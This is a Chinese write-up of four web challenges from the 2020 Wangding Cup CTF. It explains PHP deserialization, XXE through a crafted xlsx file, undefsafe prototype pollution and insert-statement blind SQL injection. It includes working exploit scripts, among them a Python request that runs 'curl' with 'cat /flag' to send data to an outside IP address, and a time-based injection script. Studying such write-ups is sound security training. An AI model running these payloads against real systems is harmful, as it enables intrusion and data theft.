网鼎杯2020-青龙组-WEB-writeup

网鼎青龙组成功挺进线下,当然要感谢队友们的给力发挥,大二两只队也能成功会师半决赛了.(就是对我这样的awd小白而言估计又是去当炮灰了)

说下比赛感受吧。老实说web手比赛体验并不好。开赛到12点才出现第一道WEB题.而这之前唯一一个签到靶机题我开了一个小时都是坏的...
然后是比赛氛围,老实说明眼人应该都看得出来了。中间py什么的就不多说了。java那题我眼睁睁看着5分钟内涨了几十解。至于其他几个二进制的题更不用提,做出来的人数就是铁证了。最后五分钟内,十几秒时间我们队掉了十多名然后又蹦回来了就很迷。
然后动态靶机一队只能开一个,老实说很大程度上束缚了开题的节奏。

比赛难度倒还能接受。按郁师傅说的,这次没ak web不太应该。当然其实是最后看着只剩10多分钟时名次稳了就做不动了.赛后复现最后一个题时也发现确实不改完没做出来的。总之这里把所有WEB题解都记录下吧。

AreUserialize

今日玄学题。首先是源码

process();   
    }

    public function process() {
        if($this->op == "1") {
            $this->write();       
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: 
"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }

功能上有一个任意写跟任意读。只需要过一个valid函数检查就能反序列化。op的值决定了读/写功能。

首先析构函数明显是入手点。但是他限制了当op为"2"时令op为"1"也就是写功能。然后又置内容为空。
跟进到process()函数看下,会明显的发现它采用了$this->op == "2"这样的弱类型相等判断。
那么漏洞很明显了,我们可以利用弱类型比较绕过析构函数的限制,达成任意文件读取。

不过注意的是,原题的Filehandler类属性都是protected,表现出来的结果就是序列化数据有空字符。而这是过不了is_valid()的检查的

但是不要紧。php7.2+版本下反序列化并不在乎你传入的数据属性是否是protected。所以我们改成public即可。

2=="2","2e0"=="2"这种技巧不用多说了。这里要解释的是比较坑的后面的filename。开始直接伪协议读flag.php读不到。这个从源码角度讲完全没道理。
然后只能尝试用绝对路径读了。基于我们其他文件都能轻松读到,我们先构造个404看看这是什么服务器。
发现是 Alpine的镜像。
于是查了波其web路径的配置/web/config/httpd.conf

然后得到web路径后换绝对路径就读到了,玄学问题。


ps:
赛后突然想起来原来在做D^3时踩过的一个坑。就是apache的析构函数执行时工作目录可能会变。所以用相对路径读时是获取不到flag.php的.当然这是概率问题、有的人就能直接读到。

filejava

这题能出200解我是真没想到的,主要中间那波垂直上分太突兀了。但仔细想我也是那个时间交的flag...

当然题目肯定是简单题。首先进去有一个我开始忽略的信息就是它在upload界面提示flag在/flag、然后随便上传个文件,马上就测出是个任意文件下载

那老套路先从/WEB-INF/web.xml开始



  file_in_java
  
    upload.jsp
  
  
    
    UploadServlet
    UploadServlet
    cn.abc.servlet.UploadServlet
  
  
    UploadServlet
    /UploadServlet
  
  
    
    ListFileServlet
    ListFileServlet
    cn.abc.servlet.ListFileServlet
  
  
    ListFileServlet
    /ListFileServlet
  
  
    
    DownloadServlet
    DownloadServlet
    cn.abc.servlet.DownloadServlet
  
  
    DownloadServlet
    /DownloadServlet
  

三个Servlet,路径也都给出来了,一个个读然后反编译吧。

这里直接给出含有关键代码的java
UploadServlet.java

// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.geocities.com/kpdus/jad.html
// Decompiler options: packimports(3) 
// Source File Name:   UploadServlet.java

package cn.abc.servlet;

import java.io.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;
import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.FileUploadException;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;
import org.apache.poi.openxml4j.exceptions.InvalidFormatException;
import org.apache.poi.ss.usermodel.*;

public class UploadServlet extends HttpServlet
{

    public UploadServlet()
    {
    }

    protected void doGet(HttpServletRequest request, HttpServletResponse response)
        throws ServletException, IOException
    {
        doPost(request, response);
    }

    protected void doPost(HttpServletRequest request, HttpServletResponse response)
        throws ServletException, IOException
    {
        String savePath;
        File tempFile;
        String message;
        savePath = getServletContext().getRealPath("/WEB-INF/upload");
        String tempPath = getServletContext().getRealPath("/WEB-INF/temp");
        tempFile = new File(tempPath);
        if(!tempFile.exists())
            tempFile.mkdir();
        message = "";
        ServletFileUpload upload;
        DiskFileItemFactory factory = new DiskFileItemFactory();
        factory.setSizeThreshold(0x19000);
        factory.setRepository(tempFile);
        upload = new ServletFileUpload(factory);
        upload.setProgressListener(new  Object()     /* anonymous class not found */
    class _anm1 {}
);
        upload.setHeaderEncoding("UTF-8");
        upload.setFileSizeMax(0x100000L);
        upload.setSizeMax(0xa00000L);
        if(!ServletFileUpload.isMultipartContent(request))
            return;
        try
        {
            List list = upload.parseRequest(request);
            Iterator iterator = list.iterator();
            do
            {
                if(!iterator.hasNext())
                    break;
                FileItem fileItem = (FileItem)iterator.next();
                if(fileItem.isFormField())
                {
                    String name = fileItem.getFieldName();
                    String s = fileItem.getString("UTF-8");
                } else
                {
                    String filename = fileItem.getName();
                    if(filename != null && !filename.trim().equals(""))
                    {
                        String fileExtName = filename.substring(filename.lastIndexOf(".") + 1);
                        InputStream in = fileItem.getInputStream();
                        if(filename.startsWith("excel-") && "xlsx".equals(fileExtName))
                            try
                            {
                                Workbook wb1 = WorkbookFactory.create(in);
                                Sheet sheet = wb1.getSheetAt(0);
                                System.out.println(sheet.getFirstRowNum());
                            }
                            catch(InvalidFormatException e)
                            {
                                System.err.println("poi-ooxml-3.10 has something wrong");
                                e.printStackTrace();
                            }
                        String saveFilename = makeFileName(filename);
                        request.setAttribute("saveFilename", saveFilename);
                        request.setAttribute("filename", filename);
                        String realSavePath = makePath(saveFilename, savePath);
                        FileOutputStream out = new FileOutputStream((new StringBuilder()).append(realSavePath).append("/").append(saveFilename).toString());
                        byte buffer[] = new byte[1024];
                        for(int len = 0; (len = in.read(buffer)) > 0;)
                            out.write(buffer, 0, len);

                        in.close();
                        out.close();
                        message = "\u6587\u4EF6\u4E0A\u4F20\u6210\u529F!";
                    }
                }
            } while(true);
        }
        catch(FileUploadException e)
        {
            e.printStackTrace();
        }
        request.setAttribute("message", message);
        request.getRequestDispatcher("/ListFileServlet").forward(request, response);
        return;
    }

    private String makeFileName(String filename)
    {
        return (new StringBuilder()).append(UUID.randomUUID().toString()).append("_").append(filename).toString();
    }

    private String makePath(String filename, String savePath)
    {
        int hashCode = filename.hashCode();
        int dir1 = hashCode & 0xf;
        int dir2 = (hashCode & 0xf0) >> 4;
        String dir = (new StringBuilder()).append(savePath).append("/").append(dir1).append("/").append(dir2).toString();
        File file = new File(dir);
        if(!file.exists())
            file.mkdirs();
        return dir;
    }

    private static final long serialVersionUID = 1L;
}

实话说,第一步读完后看了眼所有的源码。没看出什么端倪。(其实是看漏了)
第一想法是幽灵猫。但是问了下队友说8009端口不是开的就作罢。
然后想利用刚刚的任意文件下载读flag.却发现被定位到404了。仔细看源码会发现
DownloadServlet.java

 if(fileName != null && fileName.toLowerCase().contains("flag"))
        {
            request.setAttribute("message", "\u7981\u6B62\u8BFB\u53D6");
            request.getRequestDispatcher("/message.jsp").forward(request, response);
            return;
        }

果然过滤了关键字。需要其他方法读flag.

此时回过头发现uploadservlet有一段突兀的源码

if(filename.startsWith("excel-") && "xlsx".equals(fileExtName))
    try
    {
        Workbook wb1 = WorkbookFactory.create(in);
        Sheet sheet = wb1.getSheetAt(0);
        System.out.println(sheet.getFirstRowNum());
    }
    catch(InvalidFormatException e)
    {
        System.err.println("poi-ooxml-3.10 has something wrong");
        e.printStackTrace();
    }

我第一想法是想到之前曾经看过但没做过的swpuctf web5.那道题是我第一次见过能用xlsx打xxe的类型。而它用到的就是一个很老的cve,CVE-2014-3529.

而这部分代码逻辑表示,如果我们的文件名是excel-开始加上.xlsx结尾,就会用poi解析xlsx。而这个CVE的poi版本恰好是poi-ooxml-3.10

那就不用说了,先试着按流程构造下payload。
注意,这里构造payload时最好在zip中打开我们需要修改的[Content-Types].xml。否则可能会出错。这是我听同学说才知道有这种玄学问题。我个人是先将xlsx改为zip,然后winrar直接打开修改xml的poc。最后再改回来。这样应该就没啥问题了。

发现vps能收到请求。那就直接xxe盲打一把梭了。
poc


%int;
%all;
%send;
]>

vps上的1.xml


">

监听80端口收到flag


notes

源码

var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();
class Notes {
    constructor() {
        this.owner = "whoknows";
        this.num = 0;
        this.note_list = {};
    }

    write_note(author, raw_note) {
        this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
    }

    get_note(id) {
        var r = {}
        undefsafe(r, id, undefsafe(this.note_list, id));
        return r;
    }

    edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

    get_all_notes() {
        return this.note_list;
    }

    remove_note(id) {
        delete this.note_list[id];
    }
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
  res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
    .get(function(req, res) {
        res.render('mess', {message: 'please use POST to add a note'});
    })
    .post(function(req, res) {
        let author = req.body.author;
        let raw = req.body.raw;
        if (author && raw) {
            notes.write_note(author, raw);
            res.render('mess', {message: "add note sucess"});
        } else {
            res.render('mess', {message: "did not add note"});
        }
    })

app.route('/edit_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })

app.route('/delete_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to delete a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        if (id) {
            notes.remove_note(id);
            res.render('mess', {message: "delete done"});
        } else {
            res.render('mess', {message: "delete failed"});
        }
    })

app.route('/notes')
    .get(function(req, res) {
        let q = req.query.q;
        let a_note;
        if (typeof(q) === "undefined") {
            a_note = notes.get_all_notes();
        } else {
            a_note = notes.get_note(q);
        }
        res.render('note', {list: a_note});
    })

app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })


app.use(function(req, res, next) {
  res.status(404).send('Sorry cant find that!');
});


app.use(function(err, req, res, next) {
  console.error(err.stack);
  res.status(500).send('Something broke!');
});


const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

老实说一开始审完源码没啥收获。大概的思路是,题目已经有了一个命令执行。那么我要是能修改它固定死的命令内容就能任意打了。但是这种达成肯定是要原型链污染的。我没看到merge()之类的函数就没继续想了

然后之后发现这题居然有原题参考的...
https://github.com/balsn/ctf_writeup/blob/master/20181124-asisctffinal/README.md#secure-api
仔细看了下发现好像几乎一样啊。只有一个undefsafe依赖的区别.
然后就发现这个依赖果然存在原型链污染的问题

Prototype Pollution

var a = require("undefsafe");
var payload = "__proto__.toString";
a({},payload,"JHU");
console.log({}.toString);

参照这个例子,我们很快就能找到原型链的污染点在edit_note这。

 edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

然后按wp的payload改就行了

import requests

s = requests.session()
data={'raw':'curl 120.27.246.202/?`cat /flag`','id':'__proto__','author':'byc_404'}
url='http://bed4f32827b843ca9ad5b763749970dd265f40236d544ada.cloudgame1.ichunqiu.com:8080/'
r=s.post(url+'edit_note',json=data)
print(r.text)
r=s.get(url+"status")
print(r.text)

这里id污染了后用raw或者author两个属性都能命令执行。当然因为回显的原因我们选择curl外带数据

trace

这题没做出来确实不太应该。赛后按郁师傅的思路果然一下就出了。不过也证明sql里的技巧确实不少啊。

首先当然是sql类型.题目只有一个register_do.php,而没有login的功能。
测了一会后突然发现,回显变成了WTF???row>20而且你的payload怎么改回显都一致.
那么此时可以大致推断下。我们的payload是被拼接进了insert into语句。因此数据库的返回结果才会增多到上限20。

那么首先猜测结构,构造payload
username=admin',if(1=1,sleep(5),1))#
会发现虽然返回了504。但是的确可以延时.
然而再按照这个思路构造盲注payload却发现我们并不能跑出什么结果。此时再访问register_do.php发现row又超出20了.

所以关键就是,我们要想办法不增加结果,同时还能延时。

这里就得膜一波郁师傅了。10分钟不到就能出结果...
payload:

1'^if(ascii(substr((select `2` from (select 1,2 union select * from flag)a limit 1,1),1,1))=102,pow(9999,100) or sleep(3),pow(9999,100)),'1')#

既然没有什么waf。我们就把主体部分带上if字句进行时间盲注的判断。但是此时我们让结果同时pow(9999,100)也就是报错一下。那么我们就不用担心语句数超过20的上限。

然后发现表名不知道为什么跑不出来。但是可以直接尝试flag表然后无列名注入。

select `2` from (select 1,2 union select * from flag)a limit 1,1

exp

import requests
flag=""
for i in range(1,50):
    print(i)
    a=0
    for j in "0123456789abcdefghijklmnopqrstuvwxyz{}-":
        url = 'http://1ff59e94406f4210a83ac8268a0037c3334b9006071c441b.changame.ichunqiu.com/register_do.php'
        payload = "1'^if(ascii(substr((select `2` from (select 1,2 union select * from flag)a limit 1,1),"+str(i)+",1))=" + str(ord(j)) + ",pow(99999,100) or sleep(3),pow(99999,100)),'1')#"
        data = {
            'username': payload,
            'password': '321'
        }

        r = requests.post(url, data=data)
        try:
            r = requests.post(url, data=data, timeout=3.0)
        except requests.exceptions.ReadTimeout:
            flag+=j
            print(flag)
            a=1
            break
    if a==0:
        break

老实说最后十几分钟可能不够做出来的吧。但如果更早点敏锐的察觉到这种注入并找到手段就好了...但是这题收获还是不少的。毕竟自己好久没见到insert_into的盲注。手法也生疏了不少。sql注入的技巧学习还要继续加把劲啊。

小结

网鼎结束后这个月还有不少其他比赛。不过估计没多少时间花在CTF上了。这个月一方面希望把java,渗透等方面的知识再接触下。然后比赛打好。等下个月差不多就要专注在学业上了。

你可能感兴趣的:(网鼎杯2020-青龙组-WEB-writeup)